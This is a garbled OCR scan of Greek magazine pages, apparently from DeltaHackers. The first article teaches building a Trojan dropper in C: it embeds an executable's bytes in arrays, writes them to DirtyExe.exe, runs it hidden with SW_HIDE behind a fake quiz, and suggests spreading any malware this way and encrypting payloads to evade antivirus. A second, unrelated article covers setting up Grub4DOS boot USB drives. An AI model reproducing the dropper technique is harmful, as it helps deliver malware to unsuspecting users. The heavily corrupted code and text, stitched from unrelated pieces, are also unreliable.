Hello World? 


c :sHcecsDocssPublicationssDeltaHackersHB21. Irojan-I> 


L d 
Εικόνα 7 

Μόλις єктєАёсацє éva πρὀγραμμα, το οποίο 

δημιουργεί éva ἆλλο πρόγραμμα ка! то εκτελεί! 


Ας επιστρἐψουµε тора στον κὠδικα του transporter. Υπάρχει ша µικρἠ λεπτομέρεια 
που δεν αναφέραμε προηγουμένως, η οποία ωστόσο παρουσιάζει ενδιαφἑρον. О! 
πίνακες στη C++ που περιέχουν strings, τερματίζονται µε τον χαρακτήρα null (ΛΟ). 
Ωστόσο, ау εξετάσετε τον πηγαίο κὠδικα του transporter, θα παρατηρήσετε бт! то 
loop που διαβάζει τον піуака δεν επαναλαμβάνεται μέχρι να εµφανιστεἰ о χαρακτή- 
ρας τερματισμού των strings. Το πρὀγραμμά µας επαναλαμβάνει το συγκεκριµένο 
loop τόσες φορές, ὁσα εἶναι και τα bytes του προγράµµατος που ἐχουμε κρύψει 
μέσα στον πἰνακα. Με αυτόν τον τρόπο, το πρὀγραμµα δεν αντιμετωπίζει κανένα 
πρόβλημα και δεν σταματά την εκτἐλεση του loop πρὀωρα, παρὀλο που ο πἰνακας 
περιέχει πολλὲς φορὲς το χαρακτήρα null. Νομίζουμε бт! quTñ η λεπτομέρεια μοιάζει 
ασήμαντη, αλλά εἶναι διδακτική! 


ШЕ Visual Studio 2008 Command Prompt = = 55 


k 


c:"sHcecsDocssPublicationssDeltaHackersH8B21.Trojan-I>dir хехе 
Uolume іп drive C has no label. 
Uolume Serial Number is ЗАС4-ЕЕр? 


11. 


Directory of c:NsHcsDocssPublicationssDeltaHackers#821.Trojan-I 


26052013 ΠΠ 48.128 Һе110.ехе 


1470772009 πμ 


27705/2013 μμ 48.128 TheDirtyFxe „ехе 
277/0572013 ші е эз 


5 File<s> 646.144 bytes 
B Dir<s> 276.419.817.472 bytes free 


c:sHcecsDocssNsPublicationssDeltaHackersHgB0821.Trojan-I> 


L а 


Εικόνα 8 
Та һео.ехе και ТһерігіуЕхе.ехе εἰναι 
πανομοιότυπα! 
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Περίπτωση 2: Δοκιμή µε πρόγραμμα της Microsoft 


Αυτἠ τη фора θα προχωρήσουμε ёха βήμα парапера: О Δούρειος Ίππος δεν θα pE- 
ταφἑρει ἑνα δικὀ µας проүрарра, алла το Notepad.exe της Microsoft. Επιπρόσθετα, 
το transporter θα εξελιχθεί για να ξεγελὰἁ τα θύματά του, υλοποιώντας éva απλό 
παιχνίδι ερωτήσεων! Όπως εἶναι πιθανό να γνωρίζετε, τα παιχνίδια ερωτήσεων του 
στυλ «Πόσο ἐξυπνος εἰστε;», «Πόσο ζηλιάρα εἶναι η φἰλη σας;» κ.ο.κ., εἶναι iiai- 
тера δηµοφιλἠ στη νεολαία. Е, λοιπὀν, каті παρόμοιο θα φτιάξουμε κι εμείς, μόνο 
που το бїк© µας πρὀγραμμα δεν θα περιορἰζεται στις ερωτήσεις. Το δικό µας παιχνίδι 
επιτελεἰ κι ἑνα ἄλλο ἐργο: Θα δηµιουργεἰ ἑνα αντίγραφο του notepad.exe και στη 
συνέχεια θα το εκτελεί. Νομίζουμε ὁτι πρόκειται για µια ιδιαϊτερα κακόβουλη πράξη, 
ειδικἁ για ὁσους μισούν το Notepad ;) 


Архіка, ακολουθώντας τη μέθοδο που παρουσιάσαµε νωρίτερα, κατασκευάζουµε 
τον πἰνακα µε τον κὠδικα του notepad.exe και τον τοποθετούμε στον ппүаіо κώδικα 
του transporter. Ακολουθεί о κὠδικας του εξελιγµένου µας Δούρειου Ίππου: 


// transporter_notepad.c 

// Measuring programming progress by lines of code is like measuring 
// aircraft building progress by weight. 

// @ By thiseas @ now() 
/}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}7 

Жіпсінде <stdio.h> 

Жіпсінде <windows.h> 

char executable[] = 

t 
ΠΥΧ4ΡΑΧΡΑΑΧΘΘΑΧΘΘΑΧΘ3ΛΧΘΘΑΧΘΘΑΧΘΘΑΧΘ4ΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΕΕΛΧΕΕΛΧΘΘΑΙΧΘΘ" 
ΒΝΧΒΒΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧ4ΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘ" 
"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΑΧΘΘ" 
ΒΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΕΒΑΧΘΘΑΧΘΘΑΙΧΘΘ" 


"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΑΧΘΘ" 
"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΘΘΛΑΧΘΘ" 
ΒΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΙΧΘΘ" 
}; 
int main(void) 
( 

απο αν 

1еп1 = sizeof(executable), 

char sName[100], sAns[5]; 

ЕЛЕЕ Ж рг; 

ptr = fopen(".NNDirtyExe.exe", "wb"); 

for (i=0; 1<1еп1-1; i++) 
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fprintf(ptr, "%c",executable_1[i]); 


Ғс1оѕе(ріг); 

МіпЕхес("РігъуЕхе.ехе", 5А ΗΙΡΕ); 
ргіпЕ# ("Не110, what is your пате > "); 
5сапҒ("%5", 5Мате); 


printf("Greetz Мг. %5, would уои like to play а game [уеѕ/ 
no]?",sName); 

scanf("%s", sAns); 

// ...you can add more questions here... 


return 0; // Return even a constant value. Respect the 
Operating System! 


J. 


Мета την πληκτρολόγηση (ñ ἐστω To copy-paste), μπορούμε να προχωρήσουμε ото 
compilation (εικὀνα 9). Αμάν! Τι έχουμε εδώ; Αυτή τη φορά η μεταγλώττιση απέτυχε 
— κι εμφανίστηκε το ακόλουθο μήνυμα: 


transporter_notepad.c(4100): fatal error С1091: compiler limit: string 
exceeds 65535 bytes in length 


Χμ, фаіуета! дті ο πίνακας µε тоу κὠδικα του notepad.exe εἶναι αρκετά μεγάλος και 
ξεπερνά то ὀριο της C++ (64KB). Па να εξασφαλίσουµε ὁτι το πρὀγραμμὰ µας θα 
μεταγλωττιστεὶ κανονικἀ, πρέπει να εφαρμόσουμε ἑνα απλὀ колпак: Θα «σπάσου- 
με» τον піуака σε δύο υποπίνακες, καθένας апо τους οποίους θα εἶναι μικρότερος 
апо 64Kbytes. Επομένως, о κὠδικας του transporter θα πάρει την ακόλουθη μορφή: 


іші Visual Studio 2008 Command Prompt 


2cl transporter поёерай.с 
Microsoft (Π} 32-bit C/C++ Optimizing Compiler Version 15.008.30729.B1 for 80х86 
Copyright <C? Microsoft Corporation. Й11 rights reserved. 


Itransporter_notepad.c 
Еғкапзрокбек поберай.г<41йЙ) : fatal error С1Й91: compiler limit: string exceeds 
65535 bytes in length 


> 


Εικόνα 9 
Оп! ТІ έχουμε εδώ; 
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// transporter_notepad.c 

// Measuring programming progress by lines of code is like measuring 
// aircraft building progress by weight. 

// @ By thiseas @ now() 

ШЕЛДІ ТЕДІ 

#include <stdio.h> 

#include <windows.h> 

char executable_1[] = 


{ 
"ἈΧΔΡΛΧΡΑΛΧΘΘΛΧΘΘΛΧΘ3ΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΑΛΧΘΘΛΧΘΘΛΧΘΘΛΧΕΕΛΧΕΕΛΧΘΘΝἊχΘΘ'" 
"ΝΧΒΒΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΑΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΛΧΘΘΝχΘΘ'" 
"ἠχθθνχθθνχθθνχθθνχθθνχθθνχθθνχθθνχθθνχθθιχθθνχθθνχθθνχθθιχθθνχθθ' Ы" = 
"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΙΧΘΘ" 
"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΙΧΘΘ" 

}; 


char executable_2[] = 
{"\ χθθΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΙΧΘΘ" 
ΒΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘ1ΑΧΘΘΛΑΧΘΒΛΧΘΘ" 
ΒΙΧΘΘΑΧΘ4ΑΧΘΘΑΧΒΘΑΧ4ΘΑΧΘΘΑΧΘΘΑΧΒΘΑΧΘ2ΑΧΘΘΑΧΘΘΑΧΘΘΑΧΡΒΑΧΘΘΛΧΘΘΛΧΕΘΘ" 


"\хВС\хАЕ\х4В\х70\хВвА\хЗр\хр7\х2с\хЕЗ\ХЕ4\хЕА\хр1\хЕ7\х23\хЕВ\хЕр" 
"\х76\хЕр\хЗ9\хВв1\хзс\хзв\хғ7\хва\хдЕ\х4В\хб5\хғА\х2р\хЕӨ\х53\хЕ2" 
"\хВВ\хЕВ\хС7\хбр\хзЕ\х8Е\хА5\хЗЕ\ХЕ7\х50\х4Е\хЕ4\х14\х54\х93\хөЕ" 


}; 

char executable_3[] = 

( 
"\х54\хС1\х7В\х48\хЕА\х80\х83\х42\х18\хС5\хЕ9\хЗЕ\х1С\хХЕА\ХЕ9\х4Е" 
"\хЕ9\Х@А\х95\хЕ5\х1Е\х8В\хрЕ\хөее\х17\хЕС\х54\х12\х30\хбЕ\х16\х62" 
"1х73\х13\х97\х70\хЗЕ\х12\хө9\хЕР\хЗЕ\х75\х81\хВ4\х8В\хСА\х80\хЕ7" 
ΒΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΧΘΘΛΧΘΘ" 
ΒΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΛΧΘΘΛΧΘΘ" 
ΒΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΧΘΘΛΧΘΘ" 

}; 

int main(void) 

( 


д а 


Б1 


1еп1 
1еп2 
len3 


YV HAQKER 


NNN 


sizeof (executable_1), 
sizeof (executable_2), 
сігеоҒ(ехеситаМ1е 3); 


char 5Мате(|100 |, sAns[5]; 


ЕТЕ ους, 


ptr = fopen(".\\DirtyExe.exe", "wb"); 


for (1-0; 1<1еп1-1; 
Fp f (ріг, 
for (i=0; i<len2-1; 
fprintf (ріг, 
for (1=0; 1<1еп3-1; 
fprintf (ріг, 


Ғс1оѕе(ріг); 


і++) 
"с",ехесиғаМІе 1[1]); 
і++) 
'%c",executable_2[i]); 
i++) 
'%c",executable_3[i]); 


МіпЕхес ("DirtyExe.exe", SW_HIDE); 
printf("Hello, what is your name > "); 


scanf ("%s", sName); 


BA Visual Studio 2008 Command Prompt - transporter_notepad 


c:sHcsDocssPublicationssDeltaHackersH#H#B21.Trojan-I>transporter_notepad 


Hello. 
Greetz 


what is your name > Thiseas 
Ην. Тһізеав, 


File Options View Help 


would you like to play a game [yes/no]? 


Applications | Processes | Services | Performance | Networking | Users | 


Εικόνα 10 
Θέλεις να παίξουμε éva παιχνίδι; Εἶναι ήδη арүа...! 
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PID | Image Мате z | User Мате CPU Memory (... Description 
1355  atiedxx.exe 00 1.900 K 
3752 cmd.exe 00 1.008К Windows Соттапа Proc... 
346 сопһовіһехе 00 1.388К Console Window Host 
548 csrss,exe 00 2.072K 
| 2704__ DirtyExe.exe 00 1.320К Notepad | 
2288 dwm.exe 02 18.568К Desktop Window Manager 
3504 еоиі.ехе 00 4.364К ESET Main GUI 
2332 explorer.exe 01 24.056К Windows Explorer 
4240 firefox.exe “32 00 212.768К Firefox 
3728 оурпігау.ехе *32 00 14.444К оурпігау.ехе 
4772 SnippingTool.exe 01 3.184К Snipping Tool 
2160  t—askhost.exe 00 4.080К HostProcess for Window... 


Мелелп και κατασκευή Δαούρειων ἵππων [μέρος 
УМ ХҮҮХУУЬУУ, УМ УУУУУУУҰУО У//У/УУУ/УУуІ УХ 


printf("Greetz Мг. %5, would уои like to play а game [γες/ 
no]?",sName); 
scanf("%s", sAns); 


// ...you can add more questions here... 


return 0; // Return even a constant value. Respect the 
Operating System! 


) 


Δώστε βάση στον τρόπο που εκτελείται то єктєАёсїн© µας: М/іпЕхес(«БігеуЕхе. 
ехе», 5М/ НІРЕ); Τελικά, η παράμετρος 5У/ ΗΙΡΕ υπάρχει και κάνει ακριβώς аото 
που θέλαμε! То Dirty.exe (δηλαδἠ το Notepad) θα τρέξει στα κρυφά κι ο χρήστης 
δεν θα καταλάβει τίποτα, αφού ο μόνος τρόπος για να διαπιστώσει την εκτέλεση 
του προγράµµατος Ва ἦταν уа τσεκἀρει τις διεργασίες του συστήματος (εικὀνα 10). 


Εφαρμογές 


Το μικρὸ και απλό Trojan Horse που παρουσιάσαµε, θα μπορούσε να χρησιμοποιηθεἰ 
για τη διάδοση οποιουδήποτε malware. Σημειώστε От! για уа πετύχουμε κάτι τέτοιο 
δεν θα χρειαζόμασταν τον πηγαἰο κὠδικα του malware, пара μόνο το εκτελέσιμο! То 
γεγονὸς αυτὸ αποτελεἰ ша καλἠ απάντηση σε ὀποιον ρωτήσει για ποιο λόγο κἄναμε 
όλη αυτήν την ιστορία, аут! να γράψουμε τον πηγαίο κώδικα του dirty.exe µέσα στον 
πηγαίο κώδικα του transporter. 


Μια ἄλλη εφαρµογἡ του transporter εἶναι στην στεγανογραφία (http://en.wikipedia. 
org/wiki/Steganography). Με то πρὀγραμμα που εἰδαμε θα μπορούσε κανείς να κρύ- 
Ψει Еуа απὀρρητο εκτελέσιμο μέσα σε κἄποιο алло. Отау θα трехане то Φαινομε- 
мка άσχετο και άχρηστο εκτελέἑσιµο µε капота ειδικἠ παράμετρο, τότε θα паіруар= 
ξαφνικὰ ἑνα αντίγραφο του απόρρητου εκτελἐσιµου! Επιπρὀσθετα, θα μπορούσαμε 
να κρυπτογραφἠσουµε το εκτελέσιμο πριν то τοποθετήσουµε μέσα ото transporter, 
ώστε να αποφύγουμε και τα διάφορα αντιβιοτικἀ. Πώς σας φαίνονται αυτές οι ιδέες; 


Ηθική & συμπεράσματα 


Ἴσως αναρωτηθεἰτε αν εἶναι ηθικὀ να παρουσιάζουμε οδηγἰες και προγράµµατα για 
το пос θα μπορούσε κανεὶς να φτιάξει ἑνα Trojan Horse, για να επιτεθεἰ σε αθώους 
χρήστες. Πρέπει να παραδεχτούμε бт! δεν θα ἦταν εντελώς αβάσιµος ο προβλη- 
ματισμὸς σας! Θα επαναλάβουμε ωστόσο την πάγια απἀντηση/θέση που έχουμε 
σε αντίστοιχους προβληματισμούς: Έστω оті υπάρχει ёха μέσο επἰθεσης (π.χ., ¿va 
μαχαίρι). Υπάρχουν πολλοί τρόποι να προετοιμαστούμε για να προστατευθούµε апо 
µια επίθεση µε μαχαἰρι! Ἑνας апо αυτοὺς εἶναι να προσποιηθούµε бт! δεν υπάρχει 
(μέθοδος στρουθοκαμήλου). Σε περίπτωση επίθεσης... ο Θεὸς βοηθὀς2. Ένας άλλος 
τρόπος εἶναι να μάθουμε пос το χρησιμοποιούν οι επιτιθἐµενοι, WOTE η ἀμυνὰ µας 
να εἶναι πιο αποτελεσματική! Εμεὶς προτιμάμετον δεύτερο τρόπο, ο οποίος εξάλλου 
οδηγεί στη γνώση και κατ’ επἐκταση στη δύναμη ;) 


2. Ἴσως τη γλυτώσουµε σχετικἁ ανώδυνα, αν κάνουμε τα «κἐφια» του επιτιθέµενου :/ 
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Οι περισσότεροι χρήστες του Linux ἦρθαν σε протп επαφἠ μαζί του µέσω των λεγὀ- 
µενων live distributions. Μιλάμε για τις διανομές που μπορούν να ξεκινήσουν апо το 
εκάστοτε µέσο εγκατάστασης (DVD, USB drive) και να λειτουργήσουν κανονικότα- 
τα, χωρὶς ν΄’ аүү! оиу καν κάποιον σκληρὀ δίσκο του υπολογιστή. Εδώ που τα λέμε, 
πρὀκειται για τον πιο γρήγορο, εὐκολο κι ασφαλἠ τρόπο για να εξοικειωθεἰ κανεἰς µε 
το Linux, πριν αποφασίσει να το εγκαταστήσει στο μηχάνημα. Φυσικά, πέρα апо τα 
μεγάλα ονόματα ὁπως Ubuntu και openSUSE, υπάρχουν και μερικὲς μικρὲς διανομὲς 
που φτιάχτηκαν για να εκτελούν συγκεκριµένα καθήκοντα κι ἐρχονται Καποκλει- 
στικἀἈ σε µορφή live. Χαρακτηριστικά παραδείγματα αποτελούν то GParted Live, 
που περιλαμβάνει εργαλεία διαχείρισης δίσκων, το ХВМСВипіш, για την αναπαρα- 
γωγἠ multimedia, καθὼς και πολλὲς ἄλλες, εξειδικευμένες διανομές. Πέραν απὀ то 
χώρο του Linux υπάρχουν και διανομὲς που βασίζονται στο περιβάλλον Windows ΡΕ 
(Preinstallation Environment) της Microsoft. Μια πολὺ γνωστή διανομὴ του εἶδους 
εἶναι το Hiren's Boot DVD, που περιέχει σωτήρια εργαλεία για την αντιμετώπιση 
καταστροφών σε ἑνα σύστημα Windows. Ένα ἆλλο γνωστὸ εμπορικὀ εργαλεἰο που 
ἐρχεται σε live CD εἶναι το True Image της Acronis, το οποίο επιτρέπει τη λήψη και 
την επαναφορά backup ακόμη κι ενὸς ολόκληρου σκληρού δίσκου. Τέλος, πέρα апо 
τα παραπάνω, πολλὰ μικρὰ και πειραματικἁ λειτουργικἀ συστήματα διατίθενται σε 
live images, για λόγους επίδειξης κι όχι povo. 


H µέἐθοδος της γιαγιάς 


О παραδοσιακὀς τρόπος «εγκατάστασης» ἡ καλύτερα περάσματος των live distros 
σε топіка μέσα, ὁπως DVDs και flash drives, έχει ως εξἠς: Αρχικά κατεβάζουμε то 
ISO image που περιέχει τη διανομή. Στην περίπτωση της χρήσης CD/DVD кан το 
ISO στο δισκάκι µε το αγαπημένο µας πρὀγραμμα εγγραφἠς, ενώ στην περἰπτω- 
ση χρήσης flash drive το µετατρέπουµε σε bootable και αντιγράφουμε та περιε- 
χόμενα του ISO image χρησιμοποιώντας κάποιο κατάλληλο εργαλεἰο (βλ. π.χ., то 
Репагіуейіпих). Όταν κυκλοφορήσει µια νέα ἑκδοση της αγαπημένης µας διανομὴς, 
καίμε ἑνα vo δισκάκι ἡ φορμάρουμε εκ νέου το USB stick, το κάνουμε bootable кі 
αντιγράφουμε τα αρχεἰα του νέου ISO, пал µε τη βοήθεια κἀποιου ειδικού εργαλεἰ- 
ου. Εμείς тора θεωρούμε бт! та δισκάκια δεν εἶναι καθόλου πρακτικἁ σήμερα — για 
να µην σας πούμε κιόλας бт! αποτελούν σαβούρα ;) П’ αυτὀ και θα συγκεντρὠσουμε 
την προσοχἠ µας στα USB drives. 


Νομίζουμε ὁτι κάθε φορά που αναβαθµἰζεται η διανοµἠ µας, τα πράγματα θα ἦταν 
πολὺ πιο апла αν μπορούσαμε να πετάξουμε το пало ISO image апо το USB drive 
και να ρίξουμε το καινούργιο, κάνοντας ἑνα delete κι ἑνα сору! E, λοιπὀν, κάτι тё- 
тою εἶναι απόλυτα εφικτὀ, µε τη βοήθεια του Grub4DOS. Πρὀκειται για ἑναν boot 
manager που επιτρέπει να αλλάζουμε εὐκολα το boot menu που εμφανίζει το USB 
drive και κατ’ επέκταση απλοποιεἰ σε μεγάλο βαθμό την προσθαφαἱρεση διανομών 
στο στικἁκι µας! 


Εγκατάσταση του Grub4DOS 


H εγκατάσταση рпорєі να γίνει µε δύο τρόπους: Τον δύσκολο και τον εὐκολο! O бо- 
σκολος περιλαμβάνει το κατέβασμα της πιο πρὀσφατης ἐκδοσης του Grub4DOS апо 
το site του project (http://gna.org/projects/grub4dos) και την εγκατἀστασἡ του στο 
Φλασάκι µας. Όπως καταλαβαίνετε, αυτός ο τρόπος δεν εἶναι праүратіка δύσκολος, 
αλλά εἶναι σίγουρα βαρετὸς και δεν µας προσφέρει καμἰα νέα γνώση. П’ αυτὀ το Адүо 
θα σας προτεἰναμε να ακολουθήσετε τον εὐκολο τρόπο και µε την ευκαιρία уа үушрі- 
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сете ἑνα δωρεὰν και πολὺ χρήσιμο εργαλεἰο. O εὐκολος τρόπος περιλαμβάνει το Ka- 
τἐέβασμα και την εγκατάσταση του RMPrepUSB (http://bit.ly/dh021rmprepusbful1). 
Μετά την εγκατάσταση, συνδέουµε то Φλασάκι µας στον υπολογιστή, ανοίγουμε το 
πρὀγραμµα, φροντίζουμε να επιλέξουμε το σωστὀ flash drive και πατάμε το κουμπί 
Install grub4dos. Αυτό ἦταν ὁλο! Το прдүранна θα µας απευθύνει μερικὲς ερωτήσεις 
στις οποίες πρέπει να απαντήσουμε θετικἀ και σε ελάχιστο χρὀνο θα ἐχουμε éva 
bootable flash drive, στο οποίο θα ἐχει εγκατασταθεί το Gub4DOS. 


Μενού και βασικὲς λειτουργίες 


Н ρύθμιση του φρεσκοεγκατεστημένου Grub4DOS γίνεται апо ἑνα αρχείο µε ὀνομα 
menu.lst. Το εν λὀγω αρχείο прёп уа βρἰσκεται στον ριζικὀ каталоүо του flash 
drive, αλλά µην περιμένετε να το βρείτε εκεὶ µετά την εγκατάσταση του Grub4DOS. 
Θα πρέπει να το δημιουργήσουμε μόνοι µας! Па την ακρίβεια, θα πρέπει να δημι- 
ουργήσουμε ἑνα κενὀ αρχείο απλού κειμένου και уа του δώσουμε то ὄνομα «menu. 
Ist». Апд το συγκεκριµένο αρχείο μπορούμε να ελἐγξουµε πλήρως την εμφάνιση 
και τη λειτουργικότητα του Grub4DOS. Ας ξεκινήσουμε προσθέτοντας боо βασικὲς 
επιλογές για то μενού εκκίνησης που θα εμφανίζει το φλασάκι µας. H μία θα праүра- 
τοποιεἰ επανεκκίνηση του συστήµατος και η ἄλλη τερματισμὀ. Avoiyoupe το menu. 
Ist και προσθέτουμε тіс ακόλουθες γραμμές: 


title Reboot 
reboot 

title Halt 
halt 


To αποθηκεύουµε κι εἶμαστε ἐτοιμοι να δοκιμµάσουμε το αποτέλεσµα. Μπορούμε siTe 
να επανεκκινἠήσουµε τον υπολογιστἠ µας και να επιλέξουμε ως μέσο εκκίνησης ТО 
Φλασάκι µας, cite να χρησιμοποιήσουμε την εικονικἠ μηχανἠ QEMU:, που періЛар- 
βάνεται στο εργαλείο RMPrepUSB! Όπως υποψιάζεστε, εμεὶς προτιμάμε την EIKO- 
νική μηχανή. Πα την ενεργοποἰησή της μπορούμε уа τρἐξουµε το RMPrepUSB, να 
επιλέξουμε το Φλασάκι µας και να πατήσουµε το σχετικὀ κουμπὶ (βρίσκεται πάνω 
και δεξιὰ στο παράθυρο του προγράµµατος). Εναλλακτικά και πιο апла, πατάμε то 
[F11]. Επειδἠ µε την εικονικἠ μηχανή θα ελἐγξουµε µόνο το μενού εκκἰνησης, δεν 
χρειάζεται να φτιάξουμε εικονικὀ δίσκο. Έτσι, στη σχετικἠ ερώτηση που θα µας 
κάνει το ΩΕΜΙ (για το μέγεθος του εικονικού δίσκου), μπορούμε να απαντήσουμε 
µε éva μηδενικὀ! Στη συνέχεια αφήνουμε την προεπιλογἠ για τη δέσμευση μνήμης 
και προχωράμε στην εκκίνηση της εικονικἠς μηχανής. Σε λίγες στιγμὲς το εικονικὀ 
σύστημα θα ενεργοποιηθεἰὶ και θα κάνει boot апо το φλασάκι µας. Το περιβάλλον 
που θα δούμε εἶναι πανομοιότυπο µε εκεἰνο του GRUB, του γνωστού boot manager 
που χρησιμοποιούν οι περισσότερες διανομὲς Linux. Ката τα γνωστά, η μετακίνηση 
μεταξύ των επιλογὠν γίνεται µε τα βελάκια του πληκτρολογίου και η επιλογή µε 
πάτημα του [Enter]. Κάνοντας ша бокі των επιλογὠν που υπάρχουν στο μενού, 
βλέπουμε ὁτι όλα λειτουργούν ὁπως περιμέναμε (нє то Reboot γίνεται επανεκκίνηση 
της εικονικἠς µηχανἠς και µε то Halt τερματισμὀς). 


Ас ανακεφαλαιώσουμε боа εἰδαμε: Οι επιλογὲς στο μενού του Grub4DOS ορἰζονται 
στο αρχείο menu.lst. Па κάθε επιλογἠ ξεκινάμε µε τη λέξη title ακολουθούμενη апо 
τον τἰτλο/λέξη που επιθυμούμε να φαίνεται στο μενού. Ακριβώς апо κάτω τοποθε- 


1. Για шо λεπτό, τι πάμε να κάνουμε; Εικόνα δίσκου, φορτωμένη σε εικονικἠ συσκευή, μέσα σε εικονικἠ μηχανή... Τελικά πρέπει ὀντως уа 
`XEI χελώνες μέχρι κάτω! 
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Ш 2” _ ою 
File Edit Drive BootLoaders Settings Help 
| DRIVE 1 FNK TECH USB CARD READER (Removable) 469,000МїВ 


1 Partition Size (MiB) 2 Volume Label 


Set partition аз non-bootable 
[МАХ PHONE CARD . 
O No user prompts 
Г 3 Bootloader Options —— r mage Tools 


ο: WinPEv2/WinPEv3/Vista Win7 bootable [BOOTMGR] (СС) O espe | 


С MS-DOS bootable [Ο.5Υ5] (ССЗ and CC4DOSUFD) 
С XP/BatPE bootable [NTLDR] Drive -> File 
С FREEDOS bootable [KERNEL.SYS] 
С SYSUNUX bootable [LDLINUX SYS + SYSLINUX CFG] == 


-- 4 Filesystem and Overrides 

С FATIG Г Boot as FDD (A: no MBR) 

4 FAT32 Li Boot as ZIP (А: with MBR) folder will be copied to the selected 

z м Boot as HDD (С: 2РТМ5) drive after formatting (ог extracted from 
NTFS ГІ Fsceuse of ВА callx ап archive file). Make sure you also tick 

С =FAT Г Use 64hd # the COPY 05 ΕΙ ΕΣ check-box. E 

[ГГ 5 Сору 05 files from here after formatting (if box is ticked) Г BartPE -> Drive 


F' 7 


То RMPrepUSB διαθέτει пара πολλές δυνατότητες ка! 
επιλογές. Eugiç θα χρησιμοποιήσουμε то Intall grub4dos 
και, προαιρετικἀ, то Test using QEMU emulator 


τούνται οι εντολὲς που εκτελούνται µε τη συγκεκριμένη επιλογή. Σημειώστε κι ἑνα 
κολπάκι тора: Αν θέλουμε να δώσουμε µια μικρὴ περιγραφἠ σε κἀποια επιλογἠ του 
μενού, арке! уа πληκτρολογήσουμε δίπλα στον τίτλο της το χαρακτήρα αλλαγής 
γραμμής (Nn) και αμέσως μετά να δώσουμε την περιγραφή. Αυτή η µικρή περιγραφἠ 
θα εµφανίζεται αυτόματα στο κάτω μέρος της οθὀνης, οποτεδήποτε επιλέγουμε τη 
σχετικἠ επιλογἠ µε та βελάκια. Πα παράδειγµα, αλλάξτε τον τίτλο της πρὠτης επιλο- 
үйс που προσθέσαµε στο μενού µας, апо σκέτο «Reboot» σε «Reboot Nn Reboot the 
computer» και δοκιμάστε το αποτέλεσµα στην εικονικἠ µηχανἠή του ОЕМО. 


Μια διαφορά του δικού µας μενού, σε σχέση µε αυτά θα ἐχετε συναντήσει σε διά- 
φορες διανομὲς Linux, εἶναι От! το бікд µας στερείἰται ενὸς προεπιλεγµένου τίτλου 
και µιας αντἰστροφης μέτρησης. Ας δούμε λοιπὀν пос μπορούμε να προσθέσουμε 
κι αυτές τις λειτουργίες στο μενού µας. Ανοίγουμε пал! το αρχείο ρυθμίσεων του 
Grub4DOS και προσθέτουμε στην αρχἡ του τις ακόλουθες δύο γραμμές: 

default 0 


timeout 10 
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Ὅπως φαντάζεστε, η πρώτη γραμμὴ ορίζει τον προεπιλεγμένο τίτλο. Σημειώστε От! 
η αρίθµηση ξεκινάει апо το 0! Δηλαδή το 0 αντιστοιχεί στην πρώτη επιλογἠ, το 1 
αντιστοιχεἰ στη δεύτερη κ.ο.κ. Н δεύτερη γραμμὴ ορἰζει ἑνα χρονικὀ διάστηµα σε 
δευτερόλεπτα, μετά το πέρας του οποίου κι εφὀσον ο χρήστης δεν ἐχει πατήσει Ti- 
пота, θα εκτελεστεί η προεπιλογἠ. Στο παράδειγμά µας, αν беу πατήσουµε κανένα 
πλήκτρο γίνεται επανεκκίνηση του υπολογιστή κάθε 10 δευτερόλεπτα! 


Σκεφτείτε тора το εξἠς σενάριο: Έστω От! έχουμε εγκαταστήσει στο φλασάκι µας 
